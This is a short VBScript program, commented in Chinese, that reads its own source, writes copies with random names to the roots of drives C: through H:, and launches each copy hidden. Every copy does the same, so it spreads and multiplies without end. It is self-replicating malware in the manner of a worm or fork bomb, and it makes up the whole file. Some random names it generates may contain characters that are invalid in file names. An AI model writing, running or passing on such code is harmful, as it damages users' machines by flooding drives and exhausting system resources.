Function GenerateRandomString(length)
Randomize ' 初始化随机数生成器
Dim result, i
result = ""

' 生成指定长度的随机字符串
For i = 1 To length
    ' 生成随机ASCII字符（从32到126，可见字符）
    Dim charCode
    charCode = 32 + Int(Rnd * 94) ' 94是最大字符和最小字符的差值 + 1
    result = result & Chr(charCode)
Next

GenerateRandomString = result
End Function

Sub createSomeFile()
    Dim mySelf
    drivearray=array("c:","d:","e:","f:","g:","h:") 
    Dim flag 
    Dim file8
    Dim exeFile
    Dim file3
    set objshell=createobject("wscript.shell")
    set fsc = createobject("scripting.filesystemobject")
    mySelf = fsc.OpenTextFile(WScript.ScriptFullName,1).readall
    for flag=0 to 5
        fileNew = GenerateRandomString(8)
        set file8 = fsc.CreateTextFile(drivearray(flag) + "\" + fileNew + ".vbs")
        file8.WriteLine mySelf
        file8.close
        exeFile = drivearray(flag) +"\" + fileNew + ".vbs"
        objshell.run(exeFile),vbhide    
    next
end Sub

createSomeFile()


